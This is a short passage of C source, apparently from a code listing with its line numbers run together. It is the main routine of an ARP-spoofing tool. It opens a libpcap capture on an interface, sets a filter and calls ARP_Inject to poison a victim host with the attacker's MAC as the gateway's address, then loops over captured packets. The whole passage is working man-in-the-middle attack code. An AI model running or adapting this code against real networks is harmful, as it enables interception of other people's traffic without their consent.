mystruct.handle = pcap_open_live(if_name, BUFSIZ, 1, -1, pcap_errbuf); 767 | if (pcap_errbuf[0] != '\0') { 768 | printf("something is wrong in pcap_open_live()..\n"); 769 | fprintf(stderr, "%s\n", pcap_errbuf); 770 | } 771 | NULL_CHECK(mystruct.handle); 772 | 773 | // Compile the filter for this handle 774 | if(pcap_compile(mystruct.handle, &fp, filter_string, 0, netp) == -1) { 775 | fprintf(stderr,"Error calling pcap_compile\n", pcap_errbuf); 776 | exit(1); 777 | } 778 | // Set the filter for the pcap handle through the compiled program 779 | if(pcap_setfilter(mystruct.handle, &fp) == -1) { 780 | fprintf(stderr,"Error setting filter\n", pcap_errbuf); 781 | exit(1); 782 | } 783 | printf("pcap handle created, filter compiled and is set\n"); 784 | 785 | printf("\nHave poisoned the victim with my MAC as the gateway's IP"); 786 | ARP_Inject(mystruct, false, mystruct.myMAC, &(mystruct.gatewayIP), mystruct.victimMAC, &(mystruct.victimIP)); //sets myMAC for gateway's IP 787 | // printf("\nHave poisoned the gateway with my MAC as the victim's IP"); 788 | // ARP_Inject(mystruct, false, mystruct.myMAC, &(mystruct.victimIP), mystruct.gatewayMAC, &(mystruct.gatewayIP)); //sets myMAC for victim's IP 789 | 790 | pcap_freecode(&fp); 791 | 792 | //Start_Timer(&tv, TIME_INTERVAL); 793 | pcap_loop(mystruct.handle, -1, Main_Callback, (u_char*)(&mystruct)); //Keep listening to the interface to handle any ARP packet until an error occurs 794 | 795 | // Close the PCAP descriptor. 796 | pcap_close(mystruct.handle); 797 | return 0; 798 | } 799 | --------------------------------------------------------------------------------